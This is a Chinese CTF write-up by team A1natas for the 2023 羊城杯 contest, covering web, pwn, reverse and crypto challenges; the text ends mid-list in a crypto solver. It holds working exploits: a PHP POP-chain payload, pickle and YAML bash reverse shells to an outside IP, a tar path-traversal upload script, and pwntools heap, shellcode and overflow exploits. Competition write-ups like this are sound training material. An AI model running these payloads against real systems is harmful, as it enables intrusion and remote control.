A1natas 2023 羊城杯 WriteUp

A1natas 2023 羊城杯 WriteUp

守榜成功

Web

D0n’t pl4y g4m3!!!

不是玩游戏,p0p.php存在302跳转,来到hint.zip下载附件

尊都假都解密

读start.sh,看到是php -s启动

php版本7.4.21存在任意文件读

读取p0p.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");

class Pro{
private $exp;
private $rce2;

public function __get($name)
{
return $this->$rce2=$this->exp[$rce2];
}
public function __toString()
{
call_user_func('system', "cat /flag");
}
}

class Yang
{
public function __call($name, $ary)
{
if ($this->key === true || $this->finish1->name) {
if ($this->finish->finish) {
call_user_func($this->now[$name], $ary[0]);
}
}
}
public function ycb()
{
$this->now = 0;
return $this->finish->finish;
}
public function __wakeup()
{
$this->key = True;
}
}
class Cheng
{
private $finish;
public $name;
public function __get($value)
{

return $this->$value = $this->name[$value];
}
}
class Bei
{
public function __destruct()
{
if ($this->CTF->ycb()) {
$this->fine->YCB1($this->rce, $this->rce1);
}
}
public function __wakeup()
{
$this->key = false;
}
}

function prohib($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
unserialize(prohib($a));
}
?>

构造payload

通过键值对构造[‘finish’ => true]和[‘YCB1’ => ‘highlight_file’];

过滤调用highlight函数读取

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class Pro {
private $exp;
private $rce2;
}
class Yang {
}
class Cheng {
public $name;
}

class Bei {
}
$cheng = new Cheng;
$cheng->name = ['finish' => true];
$payload=new Bei;
$payload->CTF=new yang;
$payload->CTF->finish=$cheng;
$payload->rce='/tmp/catcatf1ag.txt';
$payload->fine=new yang;
$payload->fine->finish=$cheng;
$payload->fine->key=true;
$payload->fine->now=['YCB1' => 'highlight_file'];
echo serialize($payload);

Serpent

给了源码,session伪造

经典pick1e 反序列化,ban了R指令

开始手搓

思路来源

https://cloud.tencent.com/developer/article/2277495

1
p=b"(cos\nsystem\nS'bash -c \"bash -i >& /dev/tcp/47.120.0.245/3232 0>&1\"'\no."

弹道到自己的vps上面

没有权限,find指令发现了python3.8有root权限

ez_yaml

这里存在yaml反序列化漏洞

但是要求上传恶意的文件到/config目录下面才能执行

但是过滤了文件名字里面的点

注意到上传tar文件会使用

这里存在目录穿越的问题

只要构造一个恶意的yaml文件

1
!!python/object/apply:os.system ["bash -c 'bash -i >& /dev/tcp/47.120.0.245/3232 0>&1'"]

压缩tar包里面,同时命名为’…/…/…/…/config/666.yaml’

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import tarfile
def changeFileName(filename):
filename.name = '../../../../config/666.yaml'
return filename

url="http://8000.endpoint-a1f0ca170af74e2bb5dff4ede1dd7227.m.ins.cloud.dasctf.com:81/upload"
with tarfile.open("exp.tar", "w") as tar:
tar.add('test.yaml', filter=changeFileName)
http={"http":"127.0.0.1:8080"}
response = requests.post(url=url, files={"file": open("exp.tar", 'rb')},proxies=http)
print(response.text)

访问src?username=test,触发恶意yaml,反弹shell

ArkNights

下载附件得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route('/read')
def read():
file = request.args.get('file')
fileblacklist=re.findall("/flag|fl|ag/",file, re.IGNORECASE)
if fileblacklist:
return "bad hacker!"
start=request.args.get("start","0")
end=request.args.get("end","0")
if start=="0" and end=="0":
return open(file,"rb").read()
else:
start,end=int(start),int(end)
f=open(file,"rb")
f.seek(start)
data=f.read(end)
return data

在/read路径下可以进行文件的读取,虽然过滤了flag,但是可以读/proc/1/environ,里面就有flag。./start.sh里的删掉了。

Pwn

login

能输入0x120的长度,但是strlen只检查byte大小,0x108即可绕过,刚好能劫持到后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context(os = "linux", arch = 'amd64')
context.log_level = 'debug'
binary = './pwn'
elf = ELF(binary)
# libc = ELF('./libc.so.6')
DEBUG = 0
if DEBUG:
# libc = elf.libc
p = process(["qemu-riscv64", binary])
else:
host = 'tcp.cloud.dasctf.com'
port = '20126'
p = remote(host,port)

def pwn():
p.recvuntil("Input ur name:\n")
p.send("login")

p.recvuntil("Input ur words\n")
pay = b'a'*0x100 + p64(0x123456ee)
# gdb.attach(p, "b *0x123457e2")
p.send(pay)
# pause()
p.recvuntil("input what you want exec\n")
p.sendline("cat f*")
p.interactive()
pwn()

cookieBox

musl 可以多次free,达成UAF,利用unlink指针互写,劫持__stderr_used,打io

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
context.update(os = 'linux',arch = 'amd64')
context.log_level = 'debug'
binary = './cookieBox'
elf = ELF(binary)
libc = ELF('./libc.so')
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
host = 'tcp.cloud.dasctf.com'
port = '26359'
p = remote(host,port)

def add(sz, ctx='\n'):
p.sendlineafter(">", '1')
p.sendlineafter("Please input the size:\n", str(sz))
p.sendafter("Please input the Content:", ctx)

def delete(idx):
p.sendlineafter(">", '2')
p.sendlineafter("Please input the idx:\n", str(idx))

def edit(idx, ctx):
p.sendlineafter(">", '3')
p.sendlineafter("Please input the idx:\n", str(idx))
p.sendafter("Please input the content:\n", ctx)

def show(idx):
p.sendlineafter(">", '4')
p.sendlineafter("Please input the idx:\n", str(idx))

def dbg():
gdb.attach(p)
pause()

add(0x1, 'A') #0
show(0)

libc.address = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00')) - 0x295341
system = libc.sym["system"]
__stderr = libc.address + 0x292100
success("libc.address-->" + hex(libc.address))

add(0xf0)# 1
add(0xf0)# 2
add(0xf0)# 3

delete(1)
add(0xf0)# 4 & 1
delete(1)

pay = p64(__stderr) + p64(0x602068)
edit(4, pay)

add(0xf0)# 5

payload = "/bin/sh\x00"
payload += 'X' * 32
payload += p64(0xdeadbeef)
payload += 'X' * 8
payload += p64(0xbeefdead)
payload += 'X' * 8
payload += p64(system)

edit(3, payload)

# gdb.attach(p, "b *0x400E23")
p.sendlineafter(">", '5')
# pause()
p.interactive()

shellcode

除了pushpop可以多写一字节shellcode,用来写ret,来实现第一处读入的syscall,能实现再一次较短的read,并且是read到之前shellcode的后面,相当于能再次执行shellcode,能执行更长的read,来执行orw,dup2能拷贝fd来绕过seccomp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
context.update(os = 'linux',arch = 'amd64')
context.log_level = 'debug'
binary = './shellcode'
elf = ELF(binary)
# libc = ELF('')
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
host = 'tcp.cloud.dasctf.com'
port = '24887'
p = remote(host,port)

shellcode = """
push rbx;
pop rdi;
push rdi;
pop rax;

pop rcx;
pop rdx;

pop rcx;
push rcx;
pop rsi;
"""
ret = """
push rcx;
pop rcx;
push rcx;
pop rcx;
push rcx;
pop rcx;
push rcx;
"""
def pwn():
p.recvuntil("[2] Input: (ye / no)\n")
p.send(b"\x0f\x05")
p.recvuntil("[5] ======== Input Your P0P Code ========\n")
pay = asm(shellcode + ret) + b'\xc3'
# gdb.attach(p, "b *$rebase(0x14F2)")
p.send(pay)
# pause()

shellcode1 = """
push 0x400;
pop rdx;
xor eax, eax;
syscall;
"""
sleep(0.3)
p.send(b'\x90'*2 + asm(shellcode1))
# pause()

shellcode2 = shellcraft.open("flag")
shellcode2 += shellcraft.dup2(3, 0)
shellcode2 += shellcraft.read(0, 'rsp', 0x30)
shellcode2 += shellcraft.dup2(1, 4)
shellcode2 += shellcraft.write(4, 'rsp', 0x30)

sleep(0.3)
p.send(b"\x90"*0xc + asm(shellcode2))
p.interactive()

pwn()

easy_vm

vm 劫持exit_hook为ogg,远程需爆破ld基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
context.update(os = 'linux',arch = 'amd64')
context.log_level = 'debug'
binary = './pwn'
elf = ELF(binary)
libc = ELF('./libc-2.23.so')
# DEBUG = 1
# if DEBUG:
# libc = elf.libc
# p = process(binary)
# else:
# host = 'tcp.cloud.dasctf.com'
# port = '25299'
# p = remote(host,port)

def opcode(choice, imm = b""):
if imm != b"":
return p64(choice) + p64(imm)
else:
return p64(choice)

# func_offset = 0x400000 + 0x226f50
# func1_offset = 0x226f48

def pwn():
pay = b""
pay += opcode(2)# pop libc_addr into reg
pay += opcode(7, 0x3c4b78)
pay += opcode(6, 0xf66f0)
pay += opcode(1)# push ogg into stack
pay += opcode(7, 0xf66f0)
pay += opcode(6, func_offset)
pay += opcode(3)# write func

# gdb.attach(p, "b *$rebase(0xABC)")
p.sendafter("Inputs your code:\n", pay)
# pause()

# pwn()

for x in range(0x10):
for y in range(0x10):
try:
# p = process(binary)
p = remote("tcp.cloud.dasctf.com", '25299')
offset = 0x2fd000
offset += x << 16
offset += y << 12
func_offset = offset + 0x226f50
success("try offset:\t" + hex(offset))
pwn()
sleep(0.2)
p.sendline("cat flag")
flag = p.recvline_contains(b"{", timeout = 1)
print(flag)
p.interactive()
except EOFError:
p.close()

Reverse

vm_wo

MACO 平台的可执行文件,没有调试环境,所以直接静态分析

感觉是单字符每次做判断,因为循环了29次

opcode如下

1
2
3
4
#0x1a,0x0,0x3,0x19,0x1,0x1,0xd,0x2,0x7,0x18,0x1,0x2,0x1,0x0,0x3
#0x1a,0x0,0x3,0x19,0x1,0x2,0xd,0x2,0x6,0x18,0x1,0x2,0x1,0x0,0x4
#0x1a,0x0,0x3,0x19,0x1,0x3,0xd,0x2,0x5,0x18,0x1,0x2,0x1,0x0,0x5
#0x1a,0x0,0x3,0x19,0x1,0x4,0xd,0x2,0x4,0x18,0x1,0x2,0x1,0x0,0x6

打印vm 指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
data=[0x1a,0x0,0x3,0x19,0x1,0x1,0xd,0x2,0x7,0x18,0x1,0x2,0x1,0x0,0x3,0x1a,0x0,0x3,0x19,0x1,0x2,0xd,0x2,0x6,0x18,0x1,0x2,0x1,0x0,0x4,0x1a,0x0,0x3,0x19,0x1,0x3,0xd,0x2,0x5,0x18,0x1,0x2,0x1,0x0,0x5,0x1a,0x0,0x3,0x19,0x1,0x4,0xd,0x2,0x4,0x18,0x1,0x2,0x1,0x0,0x6]
i=0
while(i<len(data)):
if data[i] == 1:
print(f" {i} xor Reg{data[i+1]} Reg{data[i+2]}")
i+=3
pass
elif data[i] == 0xd:
print(f" {i} mov Reg{data[i+1]} Reg0<<{data[i+2]}")
i+=3
elif data[i] == 0x18:
print(f" {i} mov Reg0 Reg2|Reg1")
i+=3
elif data[i] == 0x19:
print(f" {i} mov Reg{data[i+1]} Reg{0}>>{data[i+2]}")
i+=3
elif data[i] == 0x1A:
print(f" {i} mov Reg{data[i+1]} {data[i+2]}")
i+=3


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0   mov Reg0 3
3 mov Reg1 Reg0>>1
6 mov Reg2 Reg0<<7
9 mov Reg0 Reg2|Reg1
12 xor Reg0 Reg3
15 mov Reg0 3
18 mov Reg1 Reg0>>2
21 mov Reg2 Reg0<<6
24 mov Reg0 Reg2|Reg1
27 xor Reg0 Reg4
30 mov Reg0 3
33 mov Reg1 Reg0>>3
36 mov Reg2 Reg0<<5
39 mov Reg0 Reg2|Reg1
42 xor Reg0 Reg5
45 mov Reg0 3
48 mov Reg1 Reg0>>4
51 mov Reg2 Reg0<<4
54 mov Reg0 Reg2|Reg1
57 xor Reg0 Reg6

每次把输入给到reg0,第一行的3其实是输入的值。 reg3,reg4,reg5,reg6都赋了初始值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include<stdio.h>
using namespace std;
unsigned char reg3,reg4,reg5,reg6;
unsigned char b[]={ 0xDF, 0xD5, 0xF1, 0xD1, 0xFF, 0xDB, 0xA1, 0xA5, 0x89, 0xBD, 0xE9, 0x95, 0xB3, 0x9D, 0xE9, 0xB3,
0x85, 0x99, 0x87, 0xBF, 0xE9, 0xB1, 0x89, 0xE9, 0x91, 0x89, 0x89, 0x8F, 0xAD};

unsigned char enc(unsigned char data){
unsigned char data1,data2,data3,data4,data5;
data1=(data>>1)|(data<<7);
data1=data1^reg3;
data2=(data1>>2)|(data1<<6);
data2=data2^reg4;
data3=(data2>>3)|(data2<<5);
data3=data3^reg5;
data4=(data3>>4)|(data3<<4);
data4=data4^reg6;
data5=(data4>>5)|(data4<<3);
return data5;
}
signed main(){
reg3=0xef;
reg4=0xbe;
reg5=0xed;
reg6=0xbe;
for(int j=0;j<29;j++)
for(int i=32;i<128;i++){
if(b[j]==enc(i)){
printf("%c",i);
break;
}
}
}
//DASCTF{you_are_right_so_cool}

Ez加密器

后面对6位code进行换表base64,然后作为DES的key。

观察常数表,发现是DES加密,自己随意构造了一组试了下,发现是标准的DES,没有魔改\n

直接爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
custom_base64_chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/"
from Crypto.Cipher import DES
from Crypto.Random import get_random_bytes
import binascii
import string
import base64
for i in string.digits:
for j in string.digits:
for k in string.digits:
for l in string.digits:
for m in string.digits:
for n in string.digits:
key=i+j+k+l+m+n
key=key.encode()
num=key
key = base64.b64encode(key).translate(bytes.maketrans(b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/', custom_base64_chars.encode('utf-8')))
encrypted_data_hex = '0723105d5c12217dcdc3601f5ecb54da9ccec2279f1684a13a0d716d17217f4c9ea85ff1a42795731ca3c55d3a4d7bea'
encrypted_data = binascii.unhexlify(encrypted_data_hex)
cipher = DES.new(key, DES.MODE_ECB)
decrypted_data = cipher.decrypt(encrypted_data)
if(decrypted_data.decode('latin1').startswith('DASCTF{')):
print(num)
print(decrypted_data.decode('latin1'))

#DASCTF{f771b96b71514bb6bc20f3275fa9404e}

CSGO

IDA调试不知道为什么有问题,一直卡住,直接x64dbg,一路调试,直接取得base64的表

Blast

发现MD5的常量表

丢到网站上查一下,md5了两次,直接打表进行比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
a=['14d89c38cd0fb23a14be2798d449c182','a94837b18f8f43f29448b40a6e7386ba','af85d512594fc84a5c65ec9970956ea5','af85d512594fc84a5c65ec9970956ea5','10e21da237a4a1491e769df6f4c3b419','a705e8280082f93f07e3486636f3827a','297e7ca127d2eef674c119331fe30dff','b5d2099e49bdb07b8176dff5e23b3c14','83be264eb452fcf0a1c322f2c7cbf987','a94837b18f8f43f29448b40a6e7386ba','71b0438bf46aa26928c7f5a371d619e1','a705e8280082f93f07e3486636f3827a','ac49073a7165f41c57eb2c1806a7092e','a94837b18f8f43f29448b40a6e7386ba','af85d512594fc84a5c65ec9970956ea5','ed108f6919ebadc8e809f8b86ef40b05','10e21da237a4a1491e769df6f4c3b419','3cfd436919bc3107d68b912ee647f341','a705e8280082f93f07e3486636f3827a','65c162f7c43612ba1bdf4d0f2912bbc0','10e21da237a4a1491e769df6f4c3b419','a705e8280082f93f07e3486636f3827a','3cfd436919bc3107d68b912ee647f341','557460d317ae874c924e9be336a83cbe','a705e8280082f93f07e3486636f3827a','9203d8a26e241e63e4b35b3527440998','10e21da237a4a1491e769df6f4c3b419','f91b2663febba8a884487f7de5e1d249','a705e8280082f93f07e3486636f3827a','d7afde3e7059cd0a0fe09eec4b0008cd','488c428cd4a8d916deee7c1613c8b2fd','39abe4bca904bca5a11121955a2996bf','a705e8280082f93f07e3486636f3827a','3cfd436919bc3107d68b912ee647f341','39abe4bca904bca5a11121955a2996bf','4e44f1ac85cd60e3caa56bfd4afb675e','45cf8ddfae1d78741d8f1c622689e4af','3cfd436919bc3107d68b912ee647f341','39abe4bca904bca5a11121955a2996bf','4e44f1ac85cd60e3caa56bfd4afb675e','37327bb06c83cb29cefde1963ea588aa','a705e8280082f93f07e3486636f3827a','23e65a679105b85c5dc7034fded4fb5f','10e21da237a4a1491e769df6f4c3b419','71b0438bf46aa26928c7f5a371d619e1','af85d512594fc84a5c65ec9970956ea5','39abe4bca904bca5a11121955a2996bf']
import hashlib
import string
dic={}
c=[]
for i in string.printable:
md5_hash = hashlib.md5(i.encode())
t=hashlib.md5(md5_hash.hexdigest().encode())
dic[i]=t.hexdigest()
for i in a:
for key, val in dic.items():
if val == i:
print(key,end="")
#Hello_Ctfer_Velcom_To_my_Mov_and_md5(md5)_world

Crypto

Danger_RSA

分解e,然后解个方程组,后面就是常见的e和phi不互素的情况直接解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from gmpy2 import *
from Crypto.Util.number import *
from sympy import *

n = 20289788565671012003324307131062103060859990244423187333725116068731043744218295859587498278382150779775620675092152011336913225797849717782573829179765649320271927359983554162082141908877255319715400550981462988869084618816967398571437725114356308935833701495015311197958172878812521403732038749414005661189594761246154666465178024563227666440066723650451362032162000998737626370987794816660694178305939474922064726534186386488052827919792122844587807300048430756990391177266977583227470089929347969731703368720788359127837289988944365786283419724178187242169399457608505627145016468888402441344333481249304670223
e = 11079917583
c = 13354219204055754230025847310134936965811370208880054443449019813095522768684299807719787421318648141224402269593016895821181312342830493800652737679627324687428327297369122017160142465940412477792023917546122283870042482432790385644640286392037986185997262289003477817675380787176650410819568815448960281666117602590863047680652856789877783422272330706693947399620261349458556870056095723068536573904350085124198592111773470010262148170379730937529246069218004969402885134027857991552224816835834207152308645148250837667184968030600819179396545349582556181916861808402629154688779221034610013350165801919342549766

s=5741*21
r=e//s
m=4
a_b = int(iroot(n - e, 4)[0])
a = Symbol('a')
b = Symbol('b')
print(a_b)

ans = solve([a * b - a_b, (a**m+r)*(b**m+s)-n], [a, b])
print(r,s)
print(ans)
a = int(ans[1][0])
b = int(ans[1][1])
p = a ** 4 + r
q = n // p
print(isPrime(q))
print(q)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
p= 5213351003420231819415242686664610206224730148063270274863722096379841592931572096469136339538500817713355302889731144789372844731378975059329731297860686270736540109105854515590165681366189003405833252270606896051264517339339578167231093908235856718285980689179840159807651185918046198419707669304960745217
q= 3891889986375336330559716098591764128742918441309724777337583126578227827768865619689858547513951476952436981068109005313431255086775128227872912287517417948310766208005723508039484956447166240210962374423348694952997002274647622939970550008327647559433222317977926773242269276334110863262269534189811138319
n = 20289788565671012003324307131062103060859990244423187333725116068731043744218295859587498278382150779775620675092152011336913225797849717782573829179765649320271927359983554162082141908877255319715400550981462988869084618816967398571437725114356308935833701495015311197958172878812521403732038749414005661189594761246154666465178024563227666440066723650451362032162000998737626370987794816660694178305939474922064726534186386488052827919792122844587807300048430756990391177266977583227470089929347969731703368720788359127837289988944365786283419724178187242169399457608505627145016468888402441344333481249304670223
e = 11079917583
enc=13354219204055754230025847310134936965811370208880054443449019813095522768684299807719787421318648141224402269593016895821181312342830493800652737679627324687428327297369122017160142465940412477792023917546122283870042482432790385644640286392037986185997262289003477817675380787176650410819568815448960281666117602590863047680652856789877783422272330706693947399620261349458556870056095723068536573904350085124198592111773470010262148170379730937529246069218004969402885134027857991552224816835834207152308645148250837667184968030600819179396545349582556181916861808402629154688779221034610013350165801919342549766
from Crypto.Util.number import *
import itertools
def get_oneroot(p, e):
while True:
Zp = Zmod(p)
g = Zp.random_element()
g = g^((p-1) // e)
for mult in divisors(e):
if (mult != e):
g2 = g^mult
if (g2 == 1):
break
else:
return g

def decrypt(p, c, e):
w = gcd(e, p-1)
e1, p1 = e // w, (p-1) // w
d = inverse_mod(e1, p1)
c1 = pow(c, d, p)
g, a, b = xgcd(p1, w)
g = get_oneroot(p, w)
m = pow(c1, b, p)
return [ZZ(m * g^i) for i in range(w)]

mp_list = decrypt(p, enc, e)
print('Find root p OK')
mq_list = decrypt(q, enc, e)
print('Find root q OK')
for mp, mq in itertools.product(mp_list, mq_list):
m = crt([mp, mq], [p, q])
msg = long_to_bytes(int(m))
print(msg)

Easy_3L

就一个NTRU构造格求解就行

1
2
3
4
5
6
7
8
9
10
11
12
13
p = 25886434964719448194352673440525701654705794467884891063997131230558866479588298264578120588832128279435501897537203249743883076992668855905005985050222145380285378634993563571078034923112985724204131887907198503097115380966366598622251191576354831935118147880783949022370177789175320661630501595157946150891275992785113199863734714343650596491139321990230671901990010723398037081693145723605154355325074739107535905777351
h = 2332673914418001018316159191702497430320194762477685969994411366563846498561222483921873160125818295447435796015251682805613716554577537183122368080760105458908517619529332931042168173262127728892648742025494771751133664547888267249802368767396121189473647263861691578834674578112521646941677994097088669110583465311980605508259404858000937372665500663077299603396786862387710064061811000146453852819607311367850587534711
c = 20329058681057003355767546524327270876901063126285410163862577312957425318547938475645814390088863577141554443432653658287774537679738768993301095388221262144278253212238975358868925761055407920504398004143126310247822585095611305912801250788531962681592054588938446210412897150782558115114462054815460318533279921722893020563472010279486838372516063331845966834180751724227249589463408168677246991839581459878242111459287

A=matrix(QQ,4,4)
A[0,0]=1
A[1,1]=1/2**512
A[2,2]=1/2**512
A[0,3]=c
A[1,3]=1
A[2,3]=h
A[3,3]=p
print(A.LLL()[1])

求出c3之后就一个简单的解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
p = 25886434964719448194352673440525701654705794467884891063997131230558866479588298264578120588832128279435501897537203249743883076992668855905005985050222145380285378634993563571078034923112985724204131887907198503097115380966366598622251191576354831935118147880783949022370177789175320661630501595157946150891275992785113199863734714343650596491139321990230671901990010723398037081693145723605154355325074739107535905777351
h = 2332673914418001018316159191702497430320194762477685969994411366563846498561222483921873160125818295447435796015251682805613716554577537183122368080760105458908517619529332931042168173262127728892648742025494771751133664547888267249802368767396121189473647263861691578834674578112521646941677994097088669110583465311980605508259404858000937372665500663077299603396786862387710064061811000146453852819607311367850587534711
c = 20329058681057003355767546524327270876901063126285410163862577312957425318547938475645814390088863577141554443432653658287774537679738768993301095388221262144278253212238975358868925761055407920504398004143126310247822585095611305912801250788531962681592054588938446210412897150782558115114462054815460318533279921722893020563472010279486838372516063331845966834180751724227249589463408168677246991839581459878242111459287
s=8578228700306461635801143672885395197607212415337569546083986946223337693304964812887877332223090265726227310801792059554804373996008349086523997356351191
S3=5350347583048047497687986160432985584479948718649671034062080769451257000345517118379144518832137661817523764823766100346655854673992063035026005785632303*2
S1 = 28572152986082018877402362001567466234043851789360735202177142484311397443337910028526704343260845684960897697228636991096551426116049875141
S2 = 1267231041216362976881495706209012999926322160351147349200659893781191687605978675590209327810284956626443266982499935032073788984220619657447889609681888
S4 = 9739918644806242673966205531575183334306589742344399829232076845951304871478438938119813187502023845332528267974698273405630514228632721928260463654612997
S5 = 9755668823764800147393276745829186812540710004256163127825800861195296361046987938775181398489372822667854079119037446327498475937494635853074634666112736

x=(S3-S2)*(S3-S1)-(S4-S2)*(S2-S1)
y=(S3-S2)*(S4-S1)-(S5-S2)*(S2-S1)
print(x)
print(y)
from gmpy2 import *
from Crypto.Util.number import *
n=12433235385460084327215142269091752668477278692416805859007828624838647815241707248797912107322868748847211061641608674422095027981318008221949510129177787
a=int(invert(S2-S1,n))*(S3-S2)%n
b=(S2-a*S1)%n
m=(S1-b)*int(invert(a,n))%n
print(long_to_bytes(m))

SigninCrypto

第一部分从xor的比特流中知道是hint1,再异或一下得到K1。第二部分就是随机数预测,两者结合一下能够得到312个64比特的数字,能够预测K2。K3前面就是DASCTF{爆破一个字符就行。第三部分能够看到digest前后两部分一样,前一部分又可以从hint2的高位求得,从而得到IV。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from extend_mt19937_predictor import ExtendMT19937Predictor
from Crypto.Util.number import *
from Crypto.Cipher import DES3
from random import *
import hashlib
f=open('task.txt','r')
ls1=[]
ls2=[]
for i in range(624):
ls1.append(f.readline()[2:-1])

for i in range(312):
ls2.append(f.readline()[2:-1])
ran=[]
k=0
for num in ls2:
tmp=int(num,16)
s=bin(tmp)[2:].zfill(32)
s1=bin(int(ls1[k+1],16))[2:].zfill(16)
s2=s[:16]
s3=bin(int(ls1[k],16))[2:].zfill(16)
s4=s[16:]
ran.append(int(s1+s2+s3+s4,2))
k+=2
rc=ExtendMT19937Predictor()
for i in range(len(ran)):
rc.setrandbits(ran[i],64)
K2=rc.predict_getrandbits(64)

dig=0x62343937373634656339396239663236643437363738396663393438316230353665353733303939613830616662663633326463626431643139323130616333363363326631363235313661656632636265396134336361623833636165373964343533666537663934646239396462323666316236396232303539336438336234393737363465633939623966323664343736373839666339343831623035366535373330393961383061666266363332646362643164313932313061633336336332663136323531366165663263626539613433636162383363616537396434353366653766393464623939646232366631623639623230353933643833
h2=22078953819177294945130027344
dig=long_to_bytes(dig)
print(dig)
os_l=bin(h2)[-32:]
iv_h=bin(h2)[2:33]
iv=long_to_bytes(int(iv_h,2))
x=334648638865560142973669981316964458403
print(long_to_bytes(x))
h1=b'\xfb\xc2'*8
K1=long_to_bytes(bytes_to_long(h1)^x)
print(K1)
c=int('a6546bd93bced0a8533a5039545a54d1fee647007df106612ba643ffae850e201e711f6e193f15d2124ab23b250bd6e1',16)
K2=long_to_bytes(K2)

for cc in range(256):
K3 = b'DASCTF{'
K3 += long_to_bytes(cc)
KEY = K1 + K2 + K3
print(len(KEY))
mode = DES3.MODE_CBC
des3 = DES3.new(KEY, mode, iv)
print(des3.decrypt(long_to_bytes(c)))

MCeorpkpleer

pubkey第一个就是w,然后找到第几个超过m,第一个超过m的数会modm所以以此可以求出m。后面就是一个背包密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.number import *

e_bin=64
w=18143710780782459577
pubkey = [18143710780782459577, 54431132342347378731, 163293397027042136193, 489880191081126408579, 1469640573243379225737, 4408921719730137677211, 13226765159190413031633, 39680295477571239094899, 119040886432713717284697, 357122659298141151854091, 1071367977894423455562273, 3214103933683270366686819, 9642311801049811100060457, 28926935403149433300181371, 86780806209448299900544113, 260342418628344899701632339, 781027255885034699104897017, 2343081767655104097314691051, 7029245302965312291944073153, 21087735908895936875832219459, 63263207726687810627496658377, 189789623180063431882489975131, 569368869540190295647469925393, 1708106608620570886942409776179, 601827224419797931380408071500, 1805481673259393794141224214500, 893952418336266652976851386463, 2681857255008799958930554159389, 3523079163584485147344841221130, 1524252287869625983140881149316, 50264262166963219975822190911, 150792786500889659927466572733, 452378359502668979782399718199, 1357135078508006939347199154597, 4071405235524020818041597463791, 3169230503688232995231149877299, 462706308180869526799807117823, 1388118924542608580399421353469, 4164356773627825741198264060407, 3448085117999647764701149667147, 1299270151115113835209806487367, 3897810453345341505629419462101, 2648446157152195057994615872229, 3422845870014670444537026359650, 1223552407160181874717436564876, 3670657221480545624152309694628, 1966986461557807413563286569810, 1378466783231507511243038452393, 4135400349694522533729115357179, 3361215846199738142293703557463, 1038662335715384967987468158315, 3115987007146154903962404474945, 302975818554635252993570910761, 908927455663905758980712732283, 2726782366991717276942138196849, 3657854499533237101379593333510, 1928578295715881845245137486456, 1263242285705730806288591202331, 3789726857117192418865773606993, 2324195368467747797703678306905, 2450093503961328663664213663678, 2827787910442071261545819733997, 3960871129884299055190637944954, 2837628186769067706678271320788]
for i in range(len(pubkey)):
if pubkey[i]%w==0:
print('no')
else:
print(i)
break
print(3**24*w)
print(3**24*w-pubkey[24])
m=4522492601441914729446821257037
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import binascii
pubKey = [18143710780782459577, 54431132342347378731, 163293397027042136193, 489880191081126408579, 1469640573243379225737, 4408921719730137677211, 13226765159190413031633, 39680295477571239094899, 119040886432713717284697, 357122659298141151854091, 1071367977894423455562273, 3214103933683270366686819, 9642311801049811100060457, 28926935403149433300181371, 86780806209448299900544113, 260342418628344899701632339, 781027255885034699104897017, 2343081767655104097314691051, 7029245302965312291944073153, 21087735908895936875832219459, 63263207726687810627496658377, 189789623180063431882489975131, 569368869540190295647469925393, 1708106608620570886942409776179, 601827224419797931380408071500, 1805481673259393794141224214500, 893952418336266652976851386463, 2681857255008799958930554159389, 3523079163584485147344841221130, 1524252287869625983140881149316, 50264262166963219975822190911, 150792786500889659927466572733, 452378359502668979782399718199, 1357135078508006939347199154597, 4071405235524020818041597463791, 3169230503688232995231149877299, 462706308180869526799807117823, 1388118924542608580399421353469, 4164356773627825741198264060407, 3448085117999647764701149667147, 1299270151115113835209806487367, 